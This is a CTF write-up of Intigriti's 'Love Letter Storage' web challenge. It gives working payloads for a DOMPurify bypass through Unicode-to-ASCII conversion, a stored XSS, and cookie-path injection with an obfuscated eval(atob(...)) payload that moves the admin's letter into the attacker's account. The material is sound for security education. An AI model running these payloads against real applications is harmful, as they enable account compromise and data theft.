Intigriti February CTF Challenge: Love Letter Storage
tl;dr: Solved an awesome Valentine's Day challenge by @goatsniff from Intigriti. I gained valuable insights into using character conversions to bypass XSS protections and learned about data exfiltration through the manipulation of cookie paths. This details the exploits I used and my journey along the way and also features a live demo video where I transform the process into an automated Python exploit script, adding a practical and interactive dimension to the challenge.
Contents
This post is a bit longer, so feel free to jump to the sections that most interest you. For a hands-on demonstration of how I turned this challenge into a Python proof-of-concept (PoC) exploit script, be sure to check out the 'Live Exploit Creation' section.
- Introduction
- The Challenge
- Step 1: Stored Cross-Site Scripting (XSS) with a twist
- Interlude: Admin Puppeteer
- Step 2: Admin Exploitation for Data Exfiltration
- Step 3: Putting it all together
- Live Exploit Creation
- Summary
Introduction
From the beautiful design and the intricacies of the source code, it's evident that a tremendous amount of 💖 love 💖 and effort went into crafting this challenge. Completing it has been an fun journey, striking the perfect balance between frustration and excitement. It wasn't just a test of skill but also a great learning experience.
The challenge
Exploring the web application, we see it offers a mix of standard and unique functionalities:
- Standard Stuff: These include basic app functionalities like registration, login, and logout. The app uses JWTs stored as HTTP-only cookies for authorization.
- App Stuff: Users can save 'love letters' in slots numbered 0 to 3, which can later be retrieved using the user's password. The password requirement adds a layer of complexity to the challenge, especially since we're unlikely to know the admin's password.
- CTF Stuff: There's a 'Contact Admin' feature, allowing users to send a URL to the admin. The admin will click on this link, hinting that crafting an XSS exploit could be key to manipulating the admin user and accessing the love letter. This is effectively a phishing simulation in a CTF challenge.
The source code is available for download on all pages, which is convenient as my background in AppSec means that I much prefer whitebox testing. The code, primarily contained within a single app.js
file, includes all the endpoints observable in the app's functionality. However, two additional endpoints at the bottom of app.js
caught my attention: setTestLetter
and readTestLetter
. Even the 404 page seemed to hint that these might be the initial steps towards a solution.
app.use('*', (req, res) => {
res.send('Can\'t find that page, try debugging at <a href="/setTestLetter">/setTestLetter</a> or <a href="/readTestLetter/:uuid">/readTestLetter/:uuid</a>!');
});
The setTestLetter
function allows us to create test letters without authorization and generates a URL using a UUID as an identifier to this newly saved message:
And unsurprisingly the readTestLetter
endpoint is responsible for getting and rendering this message:
With these functions identified as potential targets, it seems likely they're vulnerable to some form of cross-site scripting attack. We will need to leverage this to exploit the admin user by supplying them with the URL to one of these letters. Let's get to it:
Step 1: Stored Cross-Site Scripting (XSS) with a twist
We have the ability to create saved test messages on the server but the message is run through DOMPurify.sanitize(msg);
which protects against XSS attacks. DOMPurify is the latest version (3.0.8
), so we are unlikely to be able to find a bypass that will result in a working XSS. As these functions feel like the probable targets we have to ask:
There's isn't much else to these functions, so the answer has to be the use of Buffer and the conversion to base64 and then to ASCII. Immediately this screams that this is something that we should play with to see what happens when we supply non-ASCII chars.
To investigate this, I set up a local Node.js script for rapid testing. This will save us having to hammer the server to find some interesting characters, giving us a sweet bonus to 🤫 stealth 🥷:
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
var input = '<a href="test">testing123</a>';
var cleanMsg = DOMPurify.sanitize(input);
var buf = Buffer.from(cleanMsg).toString('base64');
var out = Buffer.from(buf, 'base64').toString('ascii');
console.log(buf.toString());
console.log(out);
To figure out what non-ASCII chars may be of interest I created a small Python script that will output some of the more popular Unicode chars
Now using the chars we've generate we can try some of them inside our test script to see what type of conversion occurs. For brevity I've only included a small subset of chars here:
var input = '<a href="test">11111>∓∔∕∖∗∘∙√∛∜∝∞∟bbb∠∡∢∣∤∥∦∧∨∩∪∫∬∭ccc∮∯∰∱∲∳∴∵∶∷∸∹∺∻∻∼∽∾2222</a>';
When we run this, it gives us an output of:
$ node test.js
PGEgaHJlZj0idGVzdCI+MTExMTEmZ3Q74oiT4oiU4oiV4oiW4oiX4oiY4oiZ4oia4oib4oic4oid4oie4oifYmJi4oig4oih4oii4oij4oik4oil4oim4oin4oio4oip4oiq4oir4ois4oitY2Nj4oiu4oiv4oiw4oix4oiy4oiz4oi04oi14oi24oi34oi44oi54oi64oi74oi74oi84oi94oi+MjIyMjwvYT4=
<a href="test">11111>bbb !"#$%&'()*+,-ccc./0123456789:;;<=>2222</a>
We can see that all of the chars have been converted to standard ASCII and that two of them are of particular interest <
and >
which come from ∼
and ∾
respectively.
This means we can create a string like the following:
∼script∾alert(1)∼/script∾
Then when this is converted to ASCII by our application it should leave us with a classic XSS payload. Running this through our test node.js script gives:
$ node test.js
4oi8c2NyaXB04oi+YWxlcnQoMSniiLwvc2NyaXB04oi+
<script>alert(1)</script>
Success! Now lets try it against the server using Burp. First we URL encode our payload to get %E2%88%BCscript%E2%88%BEalert(1)%E2%88%BC/script%E2%88%BE
as the msg
we need to send:
Interestingly when we try this payload against the server it results in some mangling. We see b
followed being inserted alongside the chars we expect, this is actually a b
followed by a null char but that doens't survive the transmission. So we're pretty close but this payload wont won't quite work when run in a browser...
All hope is not lost as we can perform some simple tricks that will result in valid HTML/JavaScript. There are a few ways to do this for simplicity I replaced the mangled greater than symbols with actual >
. Note that DOMPurify wont mind as it doesn't see unpaired tags as a problem. Then as the final fix I added a JavaScript comment to make the contents of the script valid:
∼script>alert(1);//∼/script>
When URL encoded this is %E2%88%BCscript%3Ealert(1);//%E2%88%BC/script%3E
, let's test it against the server now:
This looks promising! Last thing left to do is check it out in a browser to confirm we pop an alert:
Outstanding 🥳
Now that the hard bit is solved, we need to move on to the hard bit...
Interlude: Admin Puppeteer
But before diving further, let's take a quick interlude to understand the behavior of the admin user upon clicking the link. This insight is essential for comprehending the exploitation mechanism. The admin's process is as follows:
- Login: Admin logs in to their account
- Phishing: Click on the provided link
- Panics: Reacts and closes the page
- Direct Visit: Revisits the webpage directly
- Account Verification: Checks if they are still on their own admin account (error if not)
- Love Letter Check: Checks if the love letter still exists (if it does nothing happens)
- Letter Restoration: Rewrites the love letter if it is missing
For those curious about the technical implementation, this sequence is performed using Puppeteer, a headless browser. The details can be found in the sendAdminURL
endpoint within the source code.
Step 2: Admin Exploitation for Data Exfiltration
Now that we have the XSS working and can send the admin links to click on, we have a way to execute arbitrary JavaScript as the admin user. The challenge now is to be able to exfiltrate a love letter from the admin. However, the endpoint to show the contents of a letter requires the user's password, which we do not know. So we have to get creative...
I always like to take baby steps with my exploits and test each step. Therefore I figured that before I try to go straight for a solution that it would first be good to demonstrate that data exfiltration was possible. I managed to achieve this by first logging out of the admin account, logging into our user account and saving a letter. The process looks like this:
- Logout of the admin account - Sending a DELETE request to
/logout
endpoint. - Login to our user account - Setting a cookie with our user's JWT. Alternatively this could be done by calling
/login
with ourusername
andpassword
. - Store data to our account - Making a POST request to
storeLetter
with our data to exfiltrate in theletterValue
field.
The implementation of this process in code is as follows:
async function sendRequests(){
// Logout of Admin account
await fetch('https://api.challenge-0224.intigriti.io/logout',
{ method: 'DELETE', credentials: 'include' }
);
// Manuall set our user's JWT
document.cookie = "jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTA5LCJ1c2VybmFtZSI6InRlc3RpbmcxMjMiLCJleHBpcmF0aW9uIjoyMDIzNTEzMDQ5MTU1fQ.CbJ_tfhSEKMBt9SNSdTf_h4-AzISF3Hb9lw5XerrTg0; path=/; domain=api.challenge-0224.intigriti.io";
// Post data to our own account
await fetch('https://api.challenge-0224.intigriti.io/storeLetter', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json'},
body: JSON.stringify({
"letterId": "3",
"letterValue": "Data Exfil"
})
});
}
sendRequests();
We perform our attack by first uploading the payload as a test letter and then sending the link to the admin. The admin, upon noticing that they had been logged out of their account and into ours, might have raised an alarm. However, we successfully managed to exfiltrate data before this switch was detected:
Great so now we have data exfiltration and we can post data from the admin to our own user. While experimenting with this, I realized that we could take this one step further by manipulating the cookies.
The JWT used for authorization in this application is set as HTTP-only cookie, meaning that the browser will happily send it along with requests, but it is totally inaccessible in JavaScript. Unfortunately this means we can't steal the JWT and impersonate the admin 😞.
However, one interesting aspect of cookies is that they are scoped to a domain and a path. When a browser prepares to send a request, it checks for all applicable cookies. If multiple cookies are valid, it sends them all. Crucially, the order in which these cookies are dispatched depends on the specificity of their match. A cookie that precisely matches a specific path is sent before a more generally matching one.
This means that we can use our payload to inject additional cookies into the admin's browser for specific endpoints that could be preferentially sent to the API in subsequent requests. By carefully selecting a few endpoints to authorize with our JWT, while retaining the admin's JWT for others, we can exfiltrate the love letter without triggering any account mismatch checks.
Step 3: Putting it all together
The final payload, it turns out, is surprisingly straightforward. It involves setting two new cookies on the getLetterData
and storeLetter
paths.
document.cookie = "jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTA5LCJ1c2VybmFtZSI6InRlc3RpbmcxMjMiLCJleHBpcmF0aW9uIjoyMDIzNTEzMDQ5MTU1fQ.CbJ_tfhSEKMBt9SNSdTf_h4-AzISF3Hb9lw5XerrTg0; path=/getLetterData; domain=api.challenge-0224.intigriti.io";
document.cookie = "jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTA5LCJ1c2VybmFtZSI6InRlc3RpbmcxMjMiLCJleHBpcmF0aW9uIjoyMDIzNTEzMDQ5MTU1fQ.CbJ_tfhSEKMBt9SNSdTf_h4-AzISF3Hb9lw5XerrTg0; path=/storeLetter; domain=api.challenge-0224.intigriti.io";
We base64 and URL encode this payload and wrap it in atob
to decode it and eval
to execute it. Our final msg
parameter will look like this:
%E2%88%BCscript%3Eeval(atob(`ZG9jdW1lbnQuY29va2llID0gImp3dD1leUpoYkdjaU9pSklVekkxTmlKOS5leUpwWkNJNk1UQTVMQ0oxYzJWeWJtRnRaU0k2SW5SbGMzUnBibWN4TWpNaUxDSmxlSEJwY21GMGFXOXVJam95TURJek5URXpNRFE1TVRVMWZRLkNiSl90ZmhTRUtNQnQ5U05TZFRmX2g0LUF6SVNGM0hiOWx3NVhlcnJUZzA7IHBhdGg9L2dldExldHRlckRhdGE7IGRvbWFpbj1hcGkuY2hhbGxlbmdlLTAyMjQuaW50aWdyaXRpLmlvIjsKZG9jdW1lbnQuY29va2llID0gImp3dD1leUpoYkdjaU9pSklVekkxTmlKOS5leUpwWkNJNk1UQTVMQ0oxYzJWeWJtRnRaU0k2SW5SbGMzUnBibWN4TWpNaUxDSmxlSEJwY21GMGFXOXVJam95TURJek5URXpNRFE1TVRVMWZRLkNiSl90ZmhTRUtNQnQ5U05TZFRmX2g0LUF6SVNGM0hiOWx3NVhlcnJUZzA7IHBhdGg9L3N0b3JlTGV0dGVyOyBkb21haW49YXBpLmNoYWxsZW5nZS0wMjI0LmludGlncml0aS5pbyI7`));//%E2%88%BC/script%3E
We send this payload to the server using Burp:
Next, we provide the admin with a link to our freshly stored XSS payload:
If everything has gone according to plan we should now have a newly stored love letter in our account. Thankfully we do, and this leaks a beautiful love letter from Intigriti 😍:
We at Intigriti have been cheering you on from the sidelines and you never fail to impress us. Your bug hunting skills? Amazing. Every time you outsmart a tricky piece of code, we can't help but think, \"How did we get so lucky to have these incredible hackers on our platform?\" Keep on being the awesome bug hunters that you are b\u0000\u0013 the internet's a heck of a lot safer (and more fun) with you in it.
Live Exploit Creation
Now that we've demonstrated the exploit manually, I wanted to take it a step further by showing you how I would create a Python script to automate the entire process, live:
For your convenience, the video playback is set at 2.5x speed, so you won't have to spend too much time watching. My aim is to give you a glimpse into my approach to structuring exploit scripts and how I tackle debugging in real-time.
The exploit script created in this video can be seen below, it's a little rough around the edges and could do with some more error catching, but I'm pretty pleased with how it turned out:
Summary
Wow, this turned out to be a much more comprehensive write up than I originally intended, but I think that just demonstrates how much I enjoyed the challenge! Shoutout to @goatsniff once again for the amazing challenge.
If you found this post useful especially the live exploit video, please do reach out and let me know by finding me on the Intigriti Discord 💖.